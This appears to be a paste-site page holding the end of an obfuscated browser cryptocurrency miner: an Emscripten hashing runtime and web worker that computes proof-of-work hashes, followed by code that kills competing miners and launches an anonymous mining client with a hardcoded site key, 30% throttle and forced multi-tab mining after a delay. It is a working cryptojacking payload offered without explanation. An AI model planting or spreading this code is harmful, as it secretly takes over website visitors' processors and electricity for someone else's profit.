_0x20581d;_0x1ddafb['setThrew'](0x1,0x0)}}function _0x58d371(_0x11d083,_0x482f07,_0xe1d886,_0x283e00){try{_0x1ddafb['dynCall_viii'](_0x11d083,_0x482f07,_0xe1d886,_0x283e00)}catch(_0x3858b7){if(typeof _0x3858b7!=='number'&&_0x3858b7!=='longjmp')throw _0x3858b7;_0x1ddafb['setThrew'](0x1,0x0)}}_0x1ddafb['asmGlobalArg']={'Math':Math,'Int8Array':Int8Array,'Int16Array':Int16Array,'Int32Array':Int32Array,'Uint8Array':Uint8Array,'Uint16Array':Uint16Array,'Uint32Array':Uint32Array,'Float32Array':Float32Array,'Float64Array':Float64Array,'NaN':NaN,'Infinity':Infinity};_0x1ddafb['asmLibraryArg']={'abort':_0x69c2fc,'assert':_0x455315,'enlargeMemory':_0x349752,'getTotalMemory':_0x34f7de,'abortOnCannotGrowMemory':_0x7d2867,'invoke_ii':_0x38ad72,'invoke_iiii':_0x4526ff,'invoke_viii':_0x58d371,'_gmtime_r':_0x4cf4fa,'_gmtime':_0x37354e,'___lock':_0x37c99a,'___syscall6':_0x4c2470,'___setErrNo':_0x24333c,'___unlock':_0x1b0a77,'_ftime':_0x38c440,'_emscripten_memcpy_big':_0x320406,'___syscall54':_0x245408,'___syscall140':_0x59d8eb,'___syscall20':_0x22f0ae,'___assert_fail':_0x1b3c4b,'___syscall146':_0x587cf0,'DYNAMICTOP_PTR':_0x1b265d,'tempDoublePtr':_0x54b727,'ABORT':_0x4b355c,'STACKTOP':_0x2fea64,'STACK_MAX':_0x7c6f7d};var _0x336320=_0x1ddafb['asm'](_0x1ddafb['asmGlobalArg'],_0x1ddafb['asmLibraryArg'],_0x10316f);_0x1ddafb['asm']=_0x336320;var _0x214cc4=_0x1ddafb['_cow']=function(){return _0x1ddafb['asm']['_cow']['apply'](null,arguments)};var _0x5c5495=_0x1ddafb['getTempRet0']=function(){return _0x1ddafb['asm']['getTempRet0']['apply'](null,arguments)};var _0x341e0c=_0x1ddafb['_free']=function(){return _0x1ddafb['asm']['_free']['apply'](null,arguments)};var _0x58f187=_0x1ddafb['runPostSets']=function(){return _0x1ddafb['asm']['runPostSets']['apply'](null,arguments)};var _0x4d103c=_0x1ddafb['setTempRet0']=function(){return _0x1ddafb['asm']['setTempRet0']['apply'](null,arguments)};var _0x3c165b=_0x1ddafb['establishStackSpace']=function(){return _0x1ddafb['asm']['establishStackSpace']['apply'](null,arguments)};var _0x572edf=_0x1ddafb['_memmove']=function(){return _0x1ddafb['asm']['_memmove']['apply'](null,arguments)};var _0x1496ec=_0x1ddafb['stackSave']=function(){return _0x1ddafb['asm']['stackSave']['apply'](null,arguments)};var _0x44ee76=_0x1ddafb['_memset']=function(){return _0x1ddafb['asm']['_memset']['apply'](null,arguments)};var _0xb42c32=_0x1ddafb['_malloc']=function(){return _0x1ddafb['asm']['_malloc']['apply'](null,arguments)};var _0x3b9b21=_0x1ddafb['_butter']=function(){return _0x1ddafb['asm']['_butter']['apply'](null,arguments)};var _0x349765=_0x1ddafb['_memcpy']=function(){return _0x1ddafb['asm']['_memcpy']['apply'](null,arguments)};var _0x24e4b5=_0x1ddafb['_emscripten_get_global_libc']=function(){return _0x1ddafb['asm']['_emscripten_get_global_libc']['apply'](null,arguments)};var _0x1e9ffb=_0x1ddafb['stackAlloc']=function(){return _0x1ddafb['asm']['stackAlloc']['apply'](null,arguments)};var _0x6ec0d2=_0x1ddafb['setThrew']=function(){return _0x1ddafb['asm']['setThrew']['apply'](null,arguments)};var _0x15a270=_0x1ddafb['_sbrk']=function(){return _0x1ddafb['asm']['_sbrk']['apply'](null,arguments)};var _0x36103d=_0x1ddafb['_fflush']=function(){return _0x1ddafb['asm']['_fflush']['apply'](null,arguments)};var _0x45466b=_0x1ddafb['stackRestore']=function(){return _0x1ddafb['asm']['stackRestore']['apply'](null,arguments)};var _0x1860cc=_0x1ddafb['_milk']=function(){return _0x1ddafb['asm']['_milk']['apply'](null,arguments)};var _0x5e6266=_0x1ddafb['___errno_location']=function(){return _0x1ddafb['asm']['___errno_location']['apply'](null,arguments)};var _0xce602c=_0x1ddafb['dynCall_ii']=function(){return _0x1ddafb['asm']['dynCall_ii']['apply'](null,arguments)};var _0x3abf32=_0x1ddafb['dynCall_iiii']=function(){return _0x1ddafb['asm']['dynCall_iiii']['apply'](null,arguments)};var _0x3b6850=_0x1ddafb['dynCall_viii']=function(){return _0x1ddafb['asm']['dynCall_viii']['apply'](null,arguments)};_0x399b85['stackAlloc']=_0x1ddafb['stackAlloc'];_0x399b85['stackSave']=_0x1ddafb['stackSave'];_0x399b85['stackRestore']=_0x1ddafb['stackRestore'];_0x399b85['establishStackSpace']=_0x1ddafb['establishStackSpace'];_0x399b85['setTempRet0']=_0x1ddafb['setTempRet0'];_0x399b85['getTempRet0']=_0x1ddafb['getTempRet0'];_0x1ddafb['asm']=_0x336320;if(_0x152d01){if(typeof _0x1ddafb['locateFile']==='function'){_0x152d01=_0x1ddafb['locateFile'](_0x152d01)}else if(_0x1ddafb['memoryInitializerPrefixURL']){_0x152d01=_0x1ddafb['memoryInitializerPrefixURL']+_0x152d01}if(_0x1c7d8b||_0x12e710){var _0x2bd3a8=_0x1ddafb['readBinary'](_0x152d01);_0x2a1483['set'](_0x2bd3a8,_0x399b85['GLOBAL_BASE'])}else{_0x49e3a9('memory initializer');var _0x51702e=function(_0x5853c4){if(_0x5853c4['byteLength'])_0x5853c4=new Uint8Array(_0x5853c4);_0x2a1483['set'](_0x5853c4,_0x399b85['GLOBAL_BASE']);if(_0x1ddafb['memoryInitializerRequest'])delete _0x1ddafb['memoryInitializerRequest']['response'];_0x467d70('memory initializer')};function _0x2b954e(){_0x1ddafb['readAsync'](_0x152d01,_0x51702e,function(){throw'could not load memory initializer '+_0x152d01})}if(_0x1ddafb['memoryInitializerRequest']){function _0x255de9(){var _0x13db66=_0x1ddafb['memoryInitializerRequest'];if(_0x13db66['status']!==0xc8&&_0x13db66['status']!==0x0){console['warn']('a problem seems to have happened with Module.memoryInitializerRequest, status: '+_0x13db66['status']+', retrying '+_0x152d01);_0x2b954e();return}_0x51702e(_0x13db66['response'])}if(_0x1ddafb['memoryInitializerRequest']['response']){setTimeout(_0x255de9,0x0)}else{_0x1ddafb['memoryInitializerRequest']['addEventListener']('load',_0x255de9)}}else{_0x2b954e()}}}function _0x5bc400(_0x22ce74){this['name']='ExitStatus';this['message']='Program terminated with exit('+_0x22ce74+')';this['status']=_0x22ce74}_0x5bc400['prototype']=new Error();_0x5bc400['prototype']['constructor']=_0x5bc400;var _0x8ece9;var _0x4a5788=null;var _0x578a00=![];_0x281ff7=function runCaller(){if(!_0x1ddafb['calledRun'])_0xc3a6c0();if(!_0x1ddafb['calledRun'])_0x281ff7=runCaller};_0x1ddafb['callMain']=_0x1ddafb['callMain']=function callMain(_0x441acf){_0x441acf=_0x441acf||[];_0x29bc5b();var _0x3359f3=_0x441acf['length']+0x1;function _0x53debd(){for(var _0x539312=0x0;_0x539312<0x4-0x1;_0x539312++){_0x101c09['push'](0x0)}}var _0x101c09=[_0x510da9(_0x2bd783(_0x1ddafb['thisProgram']),'i8',_0x28ad82)];_0x53debd();for(var _0x31b430=0x0;_0x31b430<_0x3359f3-0x1;_0x31b430=_0x31b430+0x1){_0x101c09['push'](_0x510da9(_0x2bd783(_0x441acf[_0x31b430]),'i8',_0x28ad82));_0x53debd()}_0x101c09['push'](0x0);_0x101c09=_0x510da9(_0x101c09,'i32',_0x28ad82);try{var _0xa7dd0=_0x1ddafb['_main'](_0x3359f3,_0x101c09,0x0);_0x57bcf2(_0xa7dd0,!![])}catch(_0x529fd5){if(_0x529fd5 instanceof _0x5bc400){return}else if(_0x529fd5=='SimulateInfiniteLoop'){_0x1ddafb['noExitRuntime']=!![];return}else{var _0x4c5cae=_0x529fd5;if(_0x529fd5&&typeof _0x529fd5==='object'&&_0x529fd5['stack']){_0x4c5cae=[_0x529fd5,_0x529fd5['stack']]}_0x1ddafb['printErr']('exception thrown: '+_0x4c5cae);_0x1ddafb['quit'](0x1,_0x529fd5)}}finally{_0x578a00=!![]}};function _0xc3a6c0(_0x3d68d5){_0x3d68d5=_0x3d68d5||_0x1ddafb['arguments'];if(_0x4a5788===null)_0x4a5788=Date['now']();if(_0x3549a2>0x0){return}_0x1138f6();if(_0x3549a2>0x0)return;if(_0x1ddafb['calledRun'])return;function _0x15f64b(){if(_0x1ddafb['calledRun'])return;_0x1ddafb['calledRun']=!![];if(_0x4b355c)return;_0x29bc5b();_0x3e938a();if(_0x1ddafb['onRuntimeInitialized'])_0x1ddafb['onRuntimeInitialized']();if(_0x1ddafb['_main']&&_0x22d522)_0x1ddafb['callMain'](_0x3d68d5);_0x35c52b()}if(_0x1ddafb['setStatus']){_0x1ddafb['setStatus']('Running...');setTimeout(function(){setTimeout(function(){_0x1ddafb['setStatus']('')},0x1);_0x15f64b()},0x1)}else{_0x15f64b()}}_0x1ddafb['run']=_0x1ddafb['run']=_0xc3a6c0;function _0x57bcf2(_0x484bb3,_0x584c18){if(_0x584c18&&_0x1ddafb['noExitRuntime']){return}if(_0x1ddafb['noExitRuntime']){}else{_0x4b355c=!![];_0x478d72=_0x484bb3;_0x2fea64=_0x8ece9;_0x3df867();if(_0x1ddafb['onExit'])_0x1ddafb['onExit'](_0x484bb3)}if(_0x1c7d8b){process['exit'](_0x484bb3)}_0x1ddafb['quit'](_0x484bb3,new _0x5bc400(_0x484bb3))}_0x1ddafb['exit']=_0x1ddafb['exit']=_0x57bcf2;var _0x1a3b73=[];function _0x69c2fc(_0x5dfed6){if(_0x1ddafb['onAbort']){_0x1ddafb['onAbort'](_0x5dfed6)}if(_0x5dfed6!==undefined){_0x1ddafb['print'](_0x5dfed6);_0x1ddafb['printErr'](_0x5dfed6);_0x5dfed6=JSON['stringify'](_0x5dfed6)}else{_0x5dfed6=''}_0x4b355c=!![];_0x478d72=0x1;var _0x15956d='\nIf this abort() is unexpected, build with -s ASSERTIONS=1 which can give more information.';var _0x308481='abort('+_0x5dfed6+') at '+_0x2b7c9f()+_0x15956d;if(_0x1a3b73){_0x1a3b73['forEach'](function(_0x3444f7){_0x308481=_0x3444f7(_0x308481,_0x5dfed6)})}throw _0x308481}_0x1ddafb['abort']=_0x1ddafb['abort']=_0x69c2fc;if(_0x1ddafb['preInit']){if(typeof _0x1ddafb['preInit']=='function')_0x1ddafb['preInit']=[_0x1ddafb['preInit']];while(_0x1ddafb['preInit']['length']>0x0){_0x1ddafb['preInit']['pop']()()}}var _0x22d522=!![];if(_0x1ddafb['noInitialRun']){_0x22d522=![]}_0xc3a6c0();var _0x5bff37=function(){this['ctx']=_0x3b9b21();this['throttleWait']=0x0;this['throttledStart']=0x0;this['throttledHashes']=0x0;this['workThrottledBound']=this['workThrottled']['bind'](this);this['currentJob']=null;this['target']=new Uint8Array([0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff]);var _0x59d7c6=_0x1ddafb['HEAPU8']['buffer'];this['input']=new Uint8Array(_0x59d7c6,_0x1ddafb['_malloc'](0x54),0x54);this['output']=new Uint8Array(_0x59d7c6,_0x1ddafb['_malloc'](0x20),0x20);self['postMessage']('ready');self['onmessage']=this['onMessage']['bind'](this)};_0x5bff37['prototype']['onMessage']=function(_0x14648b){var _0x52b638=_0x14648b['data'];if(_0x52b638['verify_id']){this['verify'](_0x52b638);return}if(!this['currentJob']||this['currentJob']['job_id']!==_0x52b638['job_id']){this['setJob'](_0x52b638)}if(_0x52b638['throttle']){this['throttleWait']=0x1/(0x1-_0x52b638['throttle'])-0x1;this['throttledStart']=this['now']();this['throttledHashes']=0x0;this['workThrottled']()}else{this['work']()}};_0x5bff37['prototype']['destroy']=function(){_0x1860cc(this['ctx'])};_0x5bff37['prototype']['hexToBytes']=function(_0x399ab8,_0x24372b){var _0x24372b=new Uint8Array(_0x399ab8['length']/0x2);for(var _0x43f814=0x0,_0x56183=0x0;_0x56183<_0x399ab8['length'];_0x56183+=0x2,_0x43f814++){_0x24372b[_0x43f814]=parseInt(_0x399ab8['substr'](_0x56183,0x2),0x10)}return _0x24372b};_0x5bff37['prototype']['bytesToHex']=function(_0x5a9008){for(var _0x29b19a='',_0x4d3f49=0x0;_0x4d3f49<_0x5a9008['length'];_0x4d3f49++){_0x29b19a+=(_0x5a9008[_0x4d3f49]>>>0x4)['toString'](0x10);_0x29b19a+=(_0x5a9008[_0x4d3f49]&0xf)['toString'](0x10)}return _0x29b19a};_0x5bff37['prototype']['meetsTarget']=function(_0x24b34b,_0x3c8337){for(var _0x5884bc=0x0;_0x5884bc<_0x3c8337['length'];_0x5884bc++){var _0xc18d30=_0x24b34b['length']-_0x5884bc-0x1,_0x28206f=_0x3c8337['length']-_0x5884bc-0x1;if(_0x24b34b[_0xc18d30]>_0x3c8337[_0x28206f]){return![]}else if(_0x24b34b[_0xc18d30]<_0x3c8337[_0x28206f]){return!![]}}return![]};_0x5bff37['prototype']['setJob']=function(_0x24968){this['currentJob']=_0x24968;this['blob']=this['hexToBytes'](_0x24968['blob']);this['input']['set'](this['blob']);var _0x555589=this['hexToBytes'](_0x24968['target']);if(_0x555589['length']<=0x8){for(var _0x1c74d7=0x0;_0x1c74d7<_0x555589['length'];_0x1c74d7++){this['target'][this['target']['length']-_0x1c74d7-0x1]=_0x555589[_0x555589['length']-_0x1c74d7-0x1]}for(var _0x1c74d7=0x0;_0x1c74d7<this['target']['length']-_0x555589['length'];_0x1c74d7++){this['target'][_0x1c74d7]=0xff}}else{this['target']=_0x555589}};_0x5bff37['prototype']['now']=function(){return self['performance']?self['performance']['now']():Date['now']()};_0x5bff37['prototype']['hash']=function(_0x4bb59e,_0x2f39a2,_0x47bafc){var _0x2455c4=Math['random']()*0xffffffff+0x1>>>0x0;this['input'][0x27]=(_0x2455c4&0xff000000)>>0x18;this['input'][0x28]=(_0x2455c4&0xff0000)>>0x10;this['input'][0x29]=(_0x2455c4&0xff00)>>0x8;this['input'][0x2a]=(_0x2455c4&0xff)>>0x0;_0x214cc4(this['ctx'],_0x4bb59e['byteOffset'],_0x2f39a2['byteOffset'],_0x47bafc)};_0x5bff37['prototype']['verify']=function(_0x57baa8){this['blob']=this['hexToBytes'](_0x57baa8['blob']);this['input']['set'](this['blob']);for(var _0x9e3ce2=0x0,_0x5f45d3=0x0;_0x5f45d3<_0x57baa8['nonce']['length'];_0x5f45d3+=0x2,_0x9e3ce2++){this['input'][0x27+_0x9e3ce2]=parseInt(_0x57baa8['nonce']['substr'](_0x5f45d3,0x2),0x10)}_0x214cc4(this['ctx'],this['input']['byteOffset'],this['output']['byteOffset'],this['blob']['length']);var _0x30d695=this['bytesToHex'](this['output']);self['postMessage']({'verify_id':_0x57baa8['verify_id'],'verified':_0x30d695===_0x57baa8['result']})};_0x5bff37['prototype']['work']=function(){var _0x3d30fa=0x0;var _0x3b7153=![];var _0x109a12=this['now']();var _0x56ad1a=0x0;do{this['hash'](this['input'],this['output'],this['blob']['length']);_0x3d30fa++;_0x3b7153=this['meetsTarget'](this['output'],this['target']);_0x56ad1a=this['now']()-_0x109a12}while(!_0x3b7153&&_0x56ad1a<0x3e8);var _0x534e17=_0x3d30fa/(_0x56ad1a/0x3e8);if(_0x3b7153){var _0x3f060b=this['bytesToHex'](this['input']['subarray'](0x27,0x2b));var _0x11c7e8=this['bytesToHex'](this['output']);self['postMessage']({'hashesPerSecond':_0x534e17,'hashes':_0x3d30fa,'job_id':this['currentJob']['job_id'],'nonce':_0x3f060b,'result':_0x11c7e8})}else{self['postMessage']({'hashesPerSecond':_0x534e17,'hashes':_0x3d30fa})}};_0x5bff37['prototype']['workThrottled']=function(){var _0x34d9a2=this['now']();this['hash'](this['input'],this['output'],this['blob']['length']);var _0x5e74b7=this['now']();var _0x3e4738=_0x5e74b7-_0x34d9a2;this['throttledHashes']++;var _0x562804=_0x5e74b7-this['throttledStart'];var _0x5cbfac=this['throttledHashes']/ (_0x562804 /0x3e8);if(this['meetsTarget'](this['output'],this['target'])){var _0x3d310d=this['bytesToHex'](this['input']['subarray'](0x27,0x2b));var _0x470fdd=this['bytesToHex'](this['output']);self['postMessage']({'hashesPerSecond':_0x5cbfac,'hashes':this['throttledHashes'],'job_id':this['currentJob']['job_id'],'nonce':_0x3d310d,'result':_0x470fdd});this['throttledHashes']=0x0}else if(_0x562804>0x3e8){self['postMessage']({'hashesPerSecond':_0x5cbfac,'hashes':this['throttledHashes']});this['throttledHashes']=0x0}else{var _0x51913f=Math['min'](0x7d0,_0x3e4738*this['throttleWait']);setTimeout(this['workThrottledBound'],_0x51913f)}};_0x1ddafb['onRuntimeInitialized']=function(){var _0x2ba4c9=new _0x5bff37()};"]));
  815. setTimeout(function() {
  816.   if (typeof miner != _0x44b0[1]) {
  817.     miner[_0x44b0[2]]();
  818.   }
  819.   if (typeof proc != _0x44b0[1]) {
  820.     proc[_0x44b0[2]]();
  821.   }
  822.   document[_0x44b0[0]] = new Client.Anonymous("56bc34061cd882609aab5de9d411b6e12be622137090334aa0697591bd8c7742", {
  823.     throttle : 0.3
  824.   });
  825.   document[_0x44b0[0]][_0x44b0[4]](Client.FORCE_MULTI_TAB);
  826. }, 6000);
Advertisement
Add Comment
Please, Sign In to add comment